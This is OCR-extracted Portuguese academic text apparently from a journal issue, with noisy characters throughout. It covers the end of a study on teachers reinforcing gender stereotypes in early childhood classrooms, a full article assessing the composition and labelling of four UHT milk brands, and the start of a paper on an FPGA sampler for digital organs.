meninas, possibilitando as mesmas condi¢cdes de brincadeira a todos, no entanto, percebe-se

que por mais que elas proporcionem os mesmos materiais a todas as crian¢as, as docentes

tentam regular os papéis que as criancas assumem durante as brincadeiras. Entende-se, en-
tao, que para as professoras, meninos até podem brincar de fantasias juntamente com meni-
nas, mas s6 podem ser principes, jamais princesas.

Ao serem questionadas sobre a influéncia da midia na construgao da identidade de gé-
nero das criancgas, todas as professoras afirmaram perceber essa influéncia, sob as seguintes

perspectivas:




P2: “Percebo a influéncia ndo de uma forma global, mas na comunicagéo e rela-
¢do com os amigos”.

P3: “Percebo através das propagandas que sdo taxativas [...]. Nao apresentam
ambos o0s sexos utilizando o mesmo brinquedo”.

P4: “A midia possui dois lados de influéncia: propagandas e programas”.

P5: “Influencia quando mostra apenas meninas brincando em propagandas de
bonecas ou meninos com carrinhos”.

Através das consideragdes das professoras, € possivel entender que elas conseguem

perceber que a midia influencia a construgao da identidade de género das criancas, no entan-

to, durante suas praticas, nao percebem que reforgcam binarismos e hegemonias, regulando
posturas, comportamentos e brincadeiras dos infantes. Entende-se, entao, que € necessario

que se crie espaco para que os profissionais que trabalham com a infancia discutam e lancem

olhares de estranhamento perante aos padroes que se estabelecem socialmente em relacao
ao0s géneros.

Tal relevancia de se investir na formagao das professoras se confirma no momento,
em que, por exemplo, a P5 percebe a influéncia da midia nas questdes de género quando
nas propagandas apenas meninas manuseando bonecas e apenas meninos brincando gom
carrinhos e, ao mesmo tempo, também langa pré-conceitos quando vé seu aluno de trés anos

dancando “parecendo uma menina”. Quando a P1 diz perceber a influéncia na midia quando



ela dita o0 que as criangas devem usar e de que devem brincar, porém, em sua pratica, nao
permite que seu aluno utilize uma fantasia de princesa enquanto brinca. E quando a P3, que
afirma que as propagandas para as criancas sao “taxativas”, em contrapartida, repreende
sua aluna de dois anos de idade que brinca com os meninos. Dessa maneira, emergiu outra
categoria de analise para o material coletado com as professoras, que busca discutir o olhar
naturalizado dessas profissionais da Educacao Infantil, no momento em que seus discursos
entram em dissonancia com suas praticas quando as relagdes de género e midia estao em

pauta na sala de aula.

4.2 “NAO DIFERENCIO MENINOS E MENINAS NA DECORACAO DA
SALA DE AULA” - 0 OLHAR NATURALIZADO

Para iniciar e situar o leitor, trazemos as respostas das professoras ao seguinte questio-

namento: “Vocé decora sua sala de aula para representar meninas e meninos no ambiente?”.

P1: “Nao diferencio meninos e meninas na decoracdo da sala de aula. Exploro
cores, imagens”.

P2: “Nao decoro a sala para representar meninos e meninas. A sala € decorada
conforme o projeto a ser trabalhado”.

P3: “Néo costumo diferenciar. Apenas a chamadinha (sic), que as meninas tém
um lago de fita no cabelo. Gosto de utilizar cores variadas”.




P5: “Sim, normalmente escolho duas cores para representar meninos (azul, ver-
de) e meninas (rosa, lilas) e uma cor neutra. Ou escolho personagens do mundo
infantil que represente os dois géneros. Exemplo: Super-herdis e princesas”.

P4: “Nao faco essa representacao e nem diferenciacdo na decoragao da sala de
aula”.

Com excecao da P5, seria possivel afirmar que, dentre as professoras que respon-
deram ao questionario, nenhuma traz em sua sala de aula representagoes binarias sobre os
géneros atraves da decoracao do espaco. No entanto, ao observar as salas de aula dessas

professoras'?, encontramos o0s seguintes ambientes:

Sala de aula 1: Ao entrar na sala, encontra-se um painel com varias corujas feitas em
E.V.A que fazem alusdo as datas dos aniversarios das criancas. O nome das meninas esta
grafado em corujas da cor rosa, e 0s nomes de meninos em corujas de cor azul. No interior da

sala também ha varias corujas rosas e azuis. Ao lado do tapete, ha um painel feito em cartoli-

na com a ilustragao de um menino usando camiseta e bermuda azuis e uma menina com um
vestido na cor rosa. Onde as criancas guardam seus pertences (mochilas, toalhas), os lugares
sao identificados com os nomes das criancas: os nomes das meninas grafados na cor rosa, e
um papel também da cor rosa. Os nomes dos meninos sdo grafados na cor azul e em papgis

azuis (D.C. 28/08/2014).

" Algumas dessas professoras trabalham em duplas na turma, portanto, o nimero de salas € menor do que o nimero de professoras
que responderam ao questionario.



Sala de aula 2: No centro da sala ha um tapete e, ao lado, dois painéis onde ocorre
a chamada dos alunos diariamente: um painel para as meninas fixarem suas bonecas em E.
V.A. e outro para os meninos fixarem seus bonecos. Ao canto da sala, onde sao expostas as
producoes artisticas dos alunos, no momento da observacao, havia dois tipos de producoes
expostas: algumas que alunos representaram o esqueleto humano com pedacos de canudo,
colados em uma folha de oficio — as meninas colaram seus esqueletos em uma folha de oficio
rosa e os meninos em uma folha de oficio azul. As outras exposigoes se tratavam de coracoes
que a professora ilustrou em folhas de oficio para as criancas preencherem colando retalhos
de E.V.A. — as meninas ganharam um corac¢ao ilustrado na cor rosa € 0s meninos na cor azul
para realizar a colagem de preenchimento (D.C. 01/09/2014).

Sala de aula 3: Ao entrar na sala, visualiza-se 0 canto no qual os alunos guardam suas
mochilas. Os lugares das meninas estao identificados com um urso feito de cartolina na cor
rosa. Os dos meninos com um urso da cor azul. No painel onde ocorre a chamada dos alunos
diariamente ha os nomes dos alunos grafados em fichas de cartolina. Os nomes das meninas
sdo grafados na cor rosa e os dos meninos na cor azul. (D.C. 01/09/2014).

Diante da caracterizagao das salas de aula, € possivel perceber que estereotipos sao

reforcados a partir das decoragoes pautadas nas cores rosa e azul, principalmente quando a

decoragao carrega o nome da crianca. Consideramos relevante analisar os dados empiricg's
nessa perspectiva porque, além dos profissionais que atuam na escola, 0 ambiente também
carrega significacoes atribuidas aos géneros e compde o curriculo escolar. Nessa dirgcao,

Tomaz Tadeu da Silva (1999) reforca que




O curriculo ha muito tempo deixou de ser apenas uma area meramente téc-
nica, voltada para questdes relativas a procedimentos, técnicas, métodos. Ja
se pode falar agora em uma tradicao critica do curriculo, guiada por questdes
sociologicas, politicas, epistemologicas. [...JNessa perspectiva, o curriculo é
considerado um artefato social e cultural. [...] O curriculo esté implicado em
relagdes de poder, o curriculo transmite visdes sociais particulares e interessa-
das, o curriculo produz identidades individuais e sociais particulares (p. 7 — 8).

Silva (ibidem), também sobre o curriculo, langa a seguinte questdo: “Que forgas fazem
com que o curriculo oficial seja hegemonico e que forgas fazem com que esse curriculo aja
para produzir identidades sociais que ajudam a prolongar as relagdes de poder existentes?” (p.
29 - 30). A essa questdo, o autor considera que se faz necessario reconhecer que o curriculo,
através de inimeros atos cotidianos na escola, expressoes e rituais, € composto por complexas
relagcoes de poder — 0 que nao pode ser negligenciado. Nesse delineamento, o autor também
discute o conceito de curriculo oculto, que € um conceito

[...] criado para se refletir aqueles aspectos da experiéncia educacional nao explicitado
no curriculo oficial, formal, [e] tem sido central na teorizag&o curricular critica. Apesar
de certa banalizagdo decorrente de sua utilizagéo frequente e facil, ele continua im-

portante na tarefa de compreender o papel do curriculo na producao de determinados
tipos de personalidade (SILVA, 1999, p. 31).

Portanto, mesmo que nao esteja explicitada no curriculo formal a questéao das decg-
ragoes e interferéncias no ambiente escolar e dos discursos dos educadores que contribyem
para a educagéo (formatacado) das criangas, faz-se necessario que tais aspectos sejam /con-
siderados partes fundamentais do curriculo. Quando as professoras das criancas aingla na

primeira infancia afirmam que nao diferenciam meninas e meninos atraves das decoracdes da




sala de aula, mas na pratica ndo é essa a realidade, tem-se dois pontos de discussao: o fato de
as profissionais reforcarem binarismos em relagéo aos géneros ao interferirem no ambiente e,
em contrapartida, nao conseguirem reconhecer essa diferenciacdo que fazem em suas salas
de aula, demonstrando que seus olhares estao naturalizados e, por ora, incapazes de enxergar
a padronizacao que enfatizam em suas praticas.
No delineamento dessa discusséo, Louro (1999, p. 88) aponta que
Curriculo, normas, procedimentos de ensino, teorias, linguagem, materiais di-
daticos, processos de avaliagéo constituem-se em espacos da construgao das
“diferengas” de género, de sexualidade, de etnia, de classe. Por meio de me-
canismos frequentemente imperceptiveis e “naturalizados”, a linguagem institui
e demarca lugares (ndo apenas pelo ocultamento do género feminino ou da

sexualidade homossexual, mas, também, pelas diferenciadas adjetivacdes que
sdo atribuidas aos sujeitos [...]).

A autora também considera que “uma especial vigilancia é dedicada, no espaco es-
colar, para os processos de constituicao do género e da sexualidade” (ibidem), que acabam
sendo alvo da normalizacao que é feita na escola. Dessa maneira, Louro (1999) destaca que,
muitas vezes, parametros e comportamentos adultos sao utilizados como referéncia para se
compreender as relacdes entre as criangas no ambiente escolar e que, frequentemente, géne-
ro e sexualidade sdo confundidos'®, sendo constantemente vigiados e censurados, na bus

da garantia da “normalidade”.

' Cabe destacar que “género” se refere a condigao social pela qual os sujeitos sao identificados como homens e mulheres. “Sex
se refere aos modos de viver os prazeres corporais.




5 ALGUMAS
CONSIDERACOES

Diante do papel do professor, cabe destacar que a fala da P5, apesar de contar que
usa cores e “super-herois” e “princesas” para diferenciar meninos e meninas na sala de aula,
também pode ser interpretada como produto de um olhar naturalizado, pois, como ela mesma
comenta em sua resposta, € uma acao corriqueira, ela “costuma” decorar a sala de aula dessa
forma e, pelo que se percebe, € um modo de interferir no ambiente que nunca foi questionado
ou contestado.

No que se refere ao trabalho da influéncia da midia em sala de aula, as professoras
relatam nao dar énfase ao tema ou trabalhar de maneira critica. No entanto, desconsideram

que o espaco também subsidia suas praticas, educa, cria estereotipos.

A partir do que as professoras relatam sobre como trabalham a influéncia da midia na
construgao da identidade de género das criangas, do que afirmam como ocorrem suas prati-
cas e do que se observou como decoram e interferem no ambiente da sala de aula, de certo

modo, sdo informagdes que se contradizem. Como alternativa a esse dado que a pesquisa

constatou, fazemos uso do que Louro (1997, p. 59) diz, quando afirma que

Os sentidos precisam estar afiados para que sejamos capazes de ver, ouvir,
sentir as multiplas formas de constituicdo dos sujeitos implicadas na concepca

movimentos de adultos e criangas. Atentas/os aos pequenos indicios, vgremos
que até mesmo o tempo e 0 espago da escola nao sao distribuidos nem (isados
— portanto, ndo sao concebidos — do mesmo modo por todas as pessoas



Na direcao da consideragao da autora e dos dados encontrados, torna-se possivel
afirmar que a naturalidade que se instituiu na escola talvez nos impeca de perceber que muitas
infancias e géneros circulam e se movimentam no espaco escolar. Assim, professoras veem
meninos como “agitados”, meninas como “frageis e choronas”, a tendéncia de as criancas néo
brincarem de forma integrada e suas “nao” diferenciacées no ambiente como algo “normal”,
sem discutir, sem estranhar, sem pautar a formacao dos professores.

Dessa maneira, cabe a escola e aos professores que trabalham com a formagao dos
sujeitos desde a primeira infancia nao aceitar que o padrao € que meninos sejam “agressivos”
e meninas “submissas”, que menina so brinca com boneca e vive em um universo cor-de-rosa
e que menino soO brinca com carrinhos e super-herois; cabe desconstruir o que esta enges-
sado, estranhar a “normalidade” e investigar os processos e mecanismos que influenciam na
fabricagdo hegemonica das identidades, especialmente a midia televisa que, conforme dados
apresentados anteriormente, € especialmente presente na vida das criangas brasileiras.

Sobre a relevancia de discutir sobre 0 assunto e o0 que os dados da pesquisa ressaltam,
reafirmamos que

Se admitimos que a escola ndo apenas transmite conhecimentos, nem mesmo
apenas o0s produz, mas que ela tambem fabrica sujeitos, produz identidades
[...]; se reconhecemos que essas identidades estdo sendo produzidas atravé
de relacoes de desigualdade; se admitimos que a escola esta intrinsecamenfe
comprometida com a manutencado de uma sociedade dividida e que faz isso £o-
tidianamente, com nossa participagao ou omissao; se acreditamos que a
ca escolar é historicamente contingente e que € uma pratica politica, isto &
se transforma e pode ser subvertida; e, por fim, se ndo nos sentimos confprmes
com essas divisdes sociais, entdo, certamente, encontramos justificativas ndo

apenas para observar, mas, especialmente, para tentar interferir na confinuida-
de dessas desigualdades (LOURO, 1997, p. 86).




Dessa forma, nao temos a pretensao de “dar respostas” nessa pesquisa, até mesmo
porque, tamanha a complexidade da multiplicidade das identidades e dos géneros, € um pro-
cesso inesgotavel, principalmente quando langamos o nosso olhar a infancia. Torna-se, des-
sa forma, essencial que todos aqueles envolvidos na educacao dos sujeitos infantes, seja os
publicitarios que trabalham com as propagandas direcionadas ao publico infantil através das
corporacoes, seja os professores, discutam formas de quebrar paradigmas, de questionar o
padrao, de nao reforgar binarismos, de langar novos olhares sobre os sujeitos, para que todos,
mulheres € homens, meninas e meninas, sejam livres para viver 0os géneros e a sexualidade,

sem serem alvo de criticas, de tentativas de regulacoes e complexas relacdes de poder.
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0 leite UHT integral é um alimento amplamente consumido pela populagao em geral assim, o controle
dos parametros fisico-quimicos e a rotulagem sao de fundamental importancia para a garantia de
sua sequranca nutricional. Neste contexto, o presente trabalho objetivou analisar quatro marcas de
leite UHT integral utilizando trés lotes de cada marca, comparando os resultados com o preconizado
pelo Regulamento Técnico de Identidade e Qualidade (RTIQ) do Leite UHT, estabelecido pela Portaria
n° 146/1996 do Ministério da Agricultura, do Abastecimento e da Reforma Agrdria e avaliando sua
rotulagem através das resolugdes: RDC n° 259,/2002, RDC n° 359/2003, RDC n° 360,/2003, RDC n°
40,/2002 e RDC n° 222/2002 estabelecidas pela Agéncia Nacional de Vigilancia Sanitdria (ANVISA).
Os resultados demonstram que em relagao as andlises fisico-quimicas, nenhuma marca estava 100%
em conformidade com a legislacdo nos diferentes lotes analisados e em relacdo a rotulagem apenas
uma marca atendia as normas das legislacdes vigentes. Assim, conclui-se a importdncia de mais
estudos neste ambito a fim de atentar para possiveis irreqularidades que possam impactar na saide
dos consumidores.

Palavras-chave: Leite UHT integral. Andlise fisico-quimica. Rotulagem.

ABSTRACT

The UHT whole milk is widely consumed by the general population. So, the control of physical and
chemical parameters and labeling are of fundamental importance to quarantee their nutritional securi-
ty. In this context, this study aimed to analyze four brands of whole UHT milk using three lots of each
brand, compare it to the recommended by the Technical Requlation Identity and Quality (RTIQ) UHT
Milk, established by Portaria No. 146/1996 of the Ministério da Agricultura, do Abastecimento e da
Reforma Agrdria and evaluating their labeling through resolutions: RDC No. 259/2002, No. 359,/2003
DRC, RDC No. 360,/2003, 40/2002 and RDC RDC No. 222/2002 established by the Agéncia Nacional
de Vigilancia Sanitaria (ANVISA). The results showed that compared the physicochemical analysis no
brand was 100% in accordance with legislation in different batches and in relation to labeling only one
brand met the requirements of current legislation. This concludes the importance of further studies in
this area in order to attend to possible irreqularities that may impact the health of consumers.
Keywords: UHT whole milk. Physical and chemical analysis. Labeling.




INTRODUCAO

Compreende-se como rotulagem nutricional toda a inscrigado, legenda, imagem ou ma-
téria descritiva ou grafica que esteja escrita, impressa, estampada, gravada, gravada em rele-
vo, litografada ou colada sobre a embalagem do alimento (BRASIL, 2002). Seu objetivo objetiva
orientar o consumidor sobre a qualidade e quantidade dos constituintes nutricionais dos produ-
tos, assegurando a defesa e protecao do consumidor, podendo auxiliar na escolha apropriada
de alimentos (SILVA; DUTRA, 2011; FILHO; ARAUJO; MORAES, 2015).

A legitimidade das informacdes nela contidas € de essencial importancia para garantir
a plenitude de dados sobre o alimento ao consumidor (SILVA; DUTRA, 2011). No Brasil, a regu-
lamentagdo de rotulagem e a fiscalizacao nos pontos de venda é feita pela Agéncia Nacional
de Vigilancia Sanitaria (ANVISA) do Ministério da Saude através de Resolugdes de Diretoria
Colegiada (RDCs) como a RDC n° 259/2002, a RDC n° 359/2003, a RDC n° 360/2003, a RDC n°
40/2002 e a RDC n° 222/2002 (BRASIL, 1996; DOMINGO, 2011).

O leite bovino € reconhecido como um alimento basico na alimentacao humana
(FROHMUT et al., 2009) sendo uma boa fonte proteica de alto valor biologico e de vitamina A,
além de acessivel a populacao em geral (SOARES et al., 2008).

O tipo de leite predominante em 87% das moradias brasileiras & o UHT (ultra high tem-
perature) o qual & submetido durante 2 a 4 segundos, a uma temperatura de 130°C a 150°C,
em um processo térmico de fluxo continuo, imediatamente resfriado a uma temperatura infg-
rior a 32°C e envasado sob condigdes assepticas em embalagens estéreis e hermeticam
fechadas (ABLV, 2009). O objetivo desse processo € a obtencdo de um produto microbiolo-
gicamente estéril e que conserve as caracteristicas nutritivas e sensoriais do produto fresco

(TRONCO, 2010). Dessa forma, o leite UHT deve atender aos padrdes de identidade e qualida-




2 MATERIAIS E
METODOS

de estabelecidos pela Portaria n° 146, de 7 de marco de 1996, do Ministério da Agricultura, do
Abastecimento e da Reforma Agraria (BRASIL, 1996).

Por ser um alimento amplamente consumido pela populacao, o presente estudo objeti-
vou analisar quarto diferentes marcas de leite UHT integral quanto seus parametros fisico-qui-

micos e de rotulagem nutricional.

As informagdes apresentadas nos rotulos das diferentes marcas avaliadas, foram com-
parados com a legislagédo brasileira vigente para a rotulagem nutricional. Verificaram-se as
adequagdes de acordo com o estabelecido na RDC n° 40/2002 (ANVISA, 2002a), a RDC n°
222/2002 (ANVISA, 2002b), a RDC n° 259/2002 (ANVISA, 2002c), a RDC n® 359/2003 (ANVISA,
2003a) e com a RDC n° 360/2003 (ANVISA, 2003b).

Quanto as analises fisico-quimicas, utilizou-se quatro marcas de leite UHT integral
avaliando trés lotes de cada marca, totalizando 12 amostras referidas como: A, B, C e D. As
analises ocorreram no periodo de abril a dezembro de 2014 no laboratério de quimica da Uni-
versidade Feevale, durante a monitoria da disciplina de bromatologia.

As analises fisico-quimicas foram realizadas em triplicata, obtendo-se a média dos va-
lores encontrados. Determinou-se a estabilidade ao alizarol com o uso de solucao alcooliga
a 68%, a acidez titulavel por g acido latico/100ml, a densidade relativa a 15°C e tempera
com o uso do termolactodensimetro, o teor de gordura pelo método de Gerber, o extrato seco

total (EST) e o extrato seco desengordurado (ESD) através da férmula de Fleishmann, o ihdice




3 RESULTADOS E
DISCUSSAOQ

crioscopico (IC) em Crioscopio Eletronico Digital seguindo os protocolos estabelecidos pela
Instrugcdo Normativa (IN) n° 68 de 12 de dezembro de 2006 (BRASIL, 2006).

Os resultados encontrados através das analises fisico-quimicas foram comparados
com o Regulamento Técnico de Identidade e Qualidade (RTIQ) do Leite UHT, estabelecido

pela Portaria n® 146 de 7 de margo de 1996 (BRASIL, 1996).

3.1 ANALISE DA ROTULAGEM DAS DIFERENTES MARCAS
DE LEITE UHT INTEGRAL

Ao longo do periodo de analises os rotulos permaneceram inalterados, contendo as
mesmas informacodes em todas as diferentes marcas e lotes de leite UHT integral. Os dados re-
ferentes a denominacao de venda, a lista de ingredientes, ao conteudo liquido, a identificagcao
de origem, ao nome ou razao social, a identificacao do lote e ao prazo de validade, contempla-
ram 100% de conformidade em relacao a RDC n°® 259/2002 (ANVISA, 2002).

Em estudo realizado por Filho, Aratjo e Morais (2015) os autores encontram resultados
similares ao analisarem dezoito (18) marcas de leite UHT, onde apenas duas marcas ndo con-
tinham a identificacao do lote e as demais estavam de acordo com o estabelecido pela R
n° 259/2002. Camara e Weschenfelder (2014) também néo constataram inconformidades ngste

quesito em seu estudo com relagao a rotulagem de cinco marcas de leite UHT integral.




Quanto a adverténcia obrigatdria sobre o aleitamento materno, 100% das marcas con-
tinham o alerta preconizado pela RDC n°® 222/2002, porém na marca B esta informacao estava
escrita de forma ilegivel, em cores que nao facilitavam a leitura dos consumidores podendo
assim induzir o consumidor a erro no momento da escolha do produto. Resultados semelhantes
a esses foram encontrados no estudo de Camara e Weschenfelder (2014) onde apenas uma
de cinco marcas de leite UHT analisadas continha o alerta sobre a importancia do aleitamento
materno conforme o preconizado pela legislagéo.

Nao obstante, as marcas B, C e D continham ilustragdes que induziam o consumo do
produto por criangas, como desenhos de animais e flores, desobedecendo a RDC n° 222/2002.
Esta bem elucidado que o aleitamento materno promove o desenvolvimento fisico e intelectual
ideal em criancas, sendo Unico e impossivel de replicar com nenhum outro tipo de alimento
(GREZLAK; WOXNIAK; CZYZEWSKA, 2014) assim, se o consumidor n&o for bem orientado,
podera substituir o leite materno, trazendo prejuizos a saude de lactentes. A marca C continha
ainda, na lateral de sua embalagem, um amplo espaco destinado ao consumidor escrever
um recado a alguém. Visando o objetivo informativo dos rotulos, acredita-se que este espaco
poderia ser melhor aproveitado para esclarecimentos sobre o produto em si, uma vez que difi-
cilmente o consumidor utilizara uma embalagem de leite UHT para deixar um recado.

Com relagao a RDC n° 40/2002 (ANVISA, 2002a) todas as marcas continham a adv
téncia “nao contem gluten” em letras maiusculas representando 100% de conformidade com a
legislagao. Essa expressao € obrigatoria em rotulos para que individuos portadores de dognca
celiaca possam evitar alimentos que contenham essa proteina, a fim de prevenir agravos|a sua

saude uma vez incapazes de metabolizar esse nutriente em seu lumen intestinal.
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Ao pesquisar a rotulagem de leite UHT, Camara e Weschenfelder (2014) encontram
trés das cinco marcas analisadas contendo essa adverténcia em uma grafia insuficientemente
visivel, podendo dificultar a leitura por parte dos consumidores.

Quanto a RDC n° 359, que determina as porcoes dos alimentos todas as marcas aten-

diam a porcao estabelecida de capacidade de 200ml e convertida em medida caseira como
um copo. Assim, concedendo o direito dos consumidores a informacodes sobre as caracteristi-
cas e composigéo nutricional dos alimentos que adquirem (BRASIL, 2003).

Conforme a RDC n° 360/2003 (ANVISA, 2003b) 100% das marcas analisadas continham
informacao nutricional em forma de tabela e com letras maiusculas. Todas as marcas continham
o valor energético e o percentual (%) de valor diario (VD), tendo como base uma dieta de 2.000

kcal ou 8.400 kj preconizados pela legislacao. As marcas contemplavam ainda as gramaturas

e percentuais de carboidratos, proteinas, gorduras totais, gorduras saturadas, gorduras trans,
fibra alimentar e sodio, fundamentais para que o individuo realize suas escolhas alimentares.

Resultados semelhantes sdo compartilhados no estudo de Camara e Weschenfelder (2014).

3.2 ANALISE FISICO-QUIMICA DAS DIFERENTES MARCAS DE
LEITE UHT INTEGRAL

A estabilidade ao alizarol a 68% (v/v) foi determinada em todas as amostras a fim de
verificar a estabilidade das proteinas do leite, qualificando 0 mesmo como estavel termicamen-

te (Tabela 1).




Tabela1l — Resultados médios das analises fisico-quimicas do leite UHT integral de quatro diferentes marcas

Alizarol Acidez Densidade Gordura IC
Marca Lote EST ESD Temperatura pH
(g acido (%) (%) (°C)
©6% V) sticortoomL) (g/m) o) CH
1 Estavel 0,14 1,03 2,7 11,16 8,41 -0,555 17 6,91
A 2 Estavel 0,17 1,031 3 11,78 8,78 -0,564 18 6,9
3 Estavel 0,16 1,029 2,7 11,51 8,51 -0,559 17 6,9
1 Estavel 0,15 1,03 2,5 10,86 8,36 -0,55 17 6,75
B 2 Estavel 0,16 1,031 29 "7 8,75 -0,544 22 6,65
3 Estavel 0,15 1,031 3 11,76 8,76 -0,545 22 6,7
1 Estavel 0,15 1,03 3 11,58 8,58 -0,655 19 6,85
C 2 Estavel 0,17 1,029 3 11,07 8,27 -0,547 19 6,4
3 Estavel 0,17 1,03 2,7 11,08 8,35 -0,547 21 6,45
D 1 Estavel 0,16 1,028 3 11,06 8,06 -0,545 19 6,19
2 Estavel 0,16 1,028 3 11,06 8,06 -0,548 19 6,18
3 Estavel 0,16 1,029 2,7 10,97 8,27 -0,546 19 6,49
Portaria Estavel 0V14a2i3;)18 . Minimo Minimo . .
146/1996 68% viv Iétigco oL 3% 8.2%

Fonte: Préprio autor.




Os resultados demonstraram que todas as amostras estavam plenamente estaveis, as-
sim como em estudos semelhantes, onde todas as amostras de leite UHT integral analisadas
estavam conformes nesse parametro (CAMARA; WESCHENFELDER, 2014; LIMA et al., 2011;
BERSOT et al., 2010).

A acidez titulavel indica o estado de conservagao do leite, onde a acidez elevada €
inversamente proporcional a qualidade da matéria prima. Os valores encontrados apontam
que 100% das amostras atendiam os parédmetros minimos. As oscilacoes de valores podem
estar associadas a fatores como composicao do leite, a raca do animal, a individualidade, o
colostro, o periodo de lactagado, ao processo de esterilizagdo ou ainda como defendido por
Moretto et. al., (2008), ao seu teor proteico, mineral, de volume de indicador adicionado ou de
tonalidade utilizada como ponto de virada pelo analista. Em estudo similar, Robim et al., (2012),
avaliou cinquenta e oito marcas de leite UHT integral sendo que todas atendiam os parametros
exigidos pela legislacao.

A densidade a 15°C determina o teor de solidos e possiveis adulteracoes de matéria
prima como o acréscimo de agua ou outras substancias, além de subsidiar informacoes ne-
cessarias para calcular o Extrato Seco Total (EST) e o (ESD) Extrato Seco Desengordurado
através da férmula de Fleishmann. A variacao de resultados atenderam ao preconizado na IN
n° 62/2011 (BRASIL, 2011) que estabelece a densidade entre 1,028 a 1,034 g/mL para o leife
cru refrigerado, uma vez que nao ha valor de referéncia para o leite UHT-apontando n&o terha-
vido acréscimo de agua as amostras. O estudo de Camara e Weschenfelder (2014) deter!

resultados idénticos ao desse estudo, ao analisar cinco marcas de leite UHT integral.




A composicao do percentual de gordura presente no leite determina sua classificacao
em integral, desnatado e semidesnatado, por isso a fidedignidade desse parametro € impres-
cindivel uma vez que o consumidor opta pelo tipo de leite consumido normalmente, através
desse indicador. Alguns fatores podem contribuir para a variacao do teor lipidico das amostras
como a estagéo do ano, a latitude, a alimentagao e a raga do animal (CAMARA; WESCHEN-
FELDER, 2014). O presente estudo constatou valores inferiores ao preconizado em todas as
marcas sendo eles em dois lotes da marca A (2,7%), em dois lotes da marca B (2,5% e 2,9%),
em um lote da marca C (2,7%) e em um lote da marca D (2,7%) conforme (Tabela 1). A repeti-
cao dos resultados em diferentes lotes analisados e os valores abaixo do ideal, sinalizam o nao
atendimento da legislacao.

Por outro lado, a extragao dos lipidios parece ser uma etapa critica nas analises de
lipidios totais podendo ocorrer erros na analise quimica, além de contaminagao ou extracao
inadequada do componente de interesse podendo remeter a resultados e interpretagoes er-
roneas (TANAMATI et. al., 2005). Assim, Tonial et. al., (2009) concluiram em seu estudo sobre
avaliacao de diferentes métodos de extracao lipidica sobre a composicao de acidos graxos
poliinsaturados em leite de vaca que o método de Gerber utilizado nesse estudo, se demons-

trou 0 menos eficaz na avaliagdo do conteudo lipidico do leite de vaca, o que pode estar rela-

cionado com os resultados obtidos.

Para o ESD a Portaria n° 146/1996 (BRASIL, 1996) preconiza um minimo de 8,2%,
valores analisados ficaram dentro desse parametro com exce¢ao de dois lotes da marca
tiveram 8,06%. Os valores de EST indicam possiveis alteracdes de matéria prima, assim a IN

n° 62/2011 (BRASIL, 2011), estabelece um valor minimo de 11,5% para o leite cru refrigérado,




CONCLUSAO

nao estabelecendo valores para o leite UHT. Nas amostras analisadas, obtiveram-se valores
entre 10,86% a 11,78%. A variacao de resultados obtidos pode estar relacionada com os va-
lores de percentual de gordura encontrados, uma vez que a determinacéo da EST depende
dos mesmos.

Em relagéo ao indice de crioscopia (IC) a legislagao vigente para o leite cru refrigerado
IN n°62/2011 (BRASIL, 2011) estabelece valores de IC entre -0,530 a -0,550°H. Os resultados
encontrados nesse estudo contemplaram 0,545°H e 0,564°H. Segundo Camara e Weschen-
felder (2014) a adicao de agua no leite pode modificar o IC causando o uma elevacdo na sua
temperatura de congelamento. Uma vez que o tipo de leite analisado n&o era o leite cru, os
dados encontrados nao podem ser classificados quanto a conformidade ou nao.

As analises fisico-quimicas demonstraram que todas as marcas apresentaram pelo
menos uma inconformidade em relacao aos parametros estabelecidos pela legislacao, sendo
a principal inconformidade encontrada relacionada ao percentual de lipideos presentes nas

amostras de leite UHT.

Dentre as amostras analisadas, as marcas B, C e D de leite continham ilustragdes em
suas embalagens que nao atendem os parametros exigidos pela legislagao e na marca C/o
alerta obrigatorio sobre o aleitamento materno estava apresentado de maneira pouco legivel.
Essas irregularidades podem induzir o consumidor ao erro no momento da compra do ali

podendo assim impactar negativamente em suas escolhas alimentares.
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As analises fisico-quimicas demonstraram que o teor lipidico (marcas A, B, Ce D) e
os valores de ESD (marca D) foram os parametros que nao atenderam ao estabelecido pela
legislacao em pelo menos um dos lotes analisados.

Nao obstante, mais estudos que contemplem a qualidade dos alimentos mais consu-

midos pela populacao devem ser estimulados afim de evitar inconformidades que possam

prejudicar a sua saude.
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Este trabalho apresenta o estudo e desenvolvimento de um prototipo de processador Sampler para 6rgao
digital, utilizando uma arquitetura reconfigurdvel do tipo Field-Programable Gate Array (FPGA), como uma alter-
nativa ao uso de Application Specific Integrated Circuit (ASIC), em portugues, circuito integrado para aplicacoes
especificas, que tornam o desenvolvimento deste tipo de equipamento caro e impossibilitam a atualizacao
do hardware. Foram realizados estudos e desenvolvimento de estruturas para acesso e gravacao a memorias
do tipo SD e DDR, através de hardware. A execucdo das amostras dos tubos de 6rgao é efetuada através de
uma arquitetura MultiCore. Estes Cores possuem 3 finalidade de executar as amostras de dudio carregadas
na memoria RAM em tempo real, realizando as interpolagdes necessarias para correta execucao dos loops. 0
resultado do processamento dos multiplos nicleos é misturado em um mixer, também responsavel por efetuar
3 normalizacao dos sinais de forma a envia-los ao decodificador digital-analdgico. O comando do processador
é realizado por uma unidade externa microcontrolada, através de uma interface SPI utilizando o padrao MIDI.
Como resultado, verificou-se a viabilidade da adocdo de FPGA para desenvolvimento de processadores Sam-
pler, sendo necessario apenas adaptacdes no layout do processador de forma a melhorar sua performance e
eliminar pequenas falhas.

Palavras chave: Conversao digital-analdgico. DSP. VHDL. Sampler. Orgdo Digital.

ABSTRACT

This work presents the study and development of a sampler device prototype for Digital Organ, using a
Field-Programmable Gate Array (FGPA) reconfiqurable architecture as an alternative for Application Specific
Integrated Circuit (ASIC) at where the development of this kind of equipment are such expensive and updates
of this hardware are impossible. Are realized studies and has developed some structures for read and write on
DDR memories and SD Card access through hardware. A MultiCore system is responsible to execute the Tube
Sample’s of the Organ. These Cores have a finality of execute the audio sample’s charged into RAM memory in
real time, and realize the necessary interpolation for correctly execution of the loops. The Core process results
are mixed into a mixer structure, with are responsible to normalize the signals and send for the digital-to-a-
nalog decoder. The command instruction is send to sampler processor by an external microcontroller using an
SPI interface with MIDI words. As a result, are proved the viability of the FPGA use for this application, but,
as necessary some adaptations into layout of this processor to improve the performance and correct bugs.
Keywords: Digital-to-Analog Conversion. DSP. VHDL. Sampler. Digital Organ.




INTRODUCAO

A descoberta da eletricidade teve grande influéncia na humanidade, tornando possivel
o desenvolvimento de diversos equipamentos que vieram a causar mudancas no estilo de vida
das pessoas. Na area da musica nao foi diferente. Como relatado por Davies em seu artigo A
History of Sampler, Antoine Chatard descreveu um método de armazenamento eletromagnéti-
CO que veio a ser a base para o0s primeiros instrumentos musicais que fazem uso de amostras
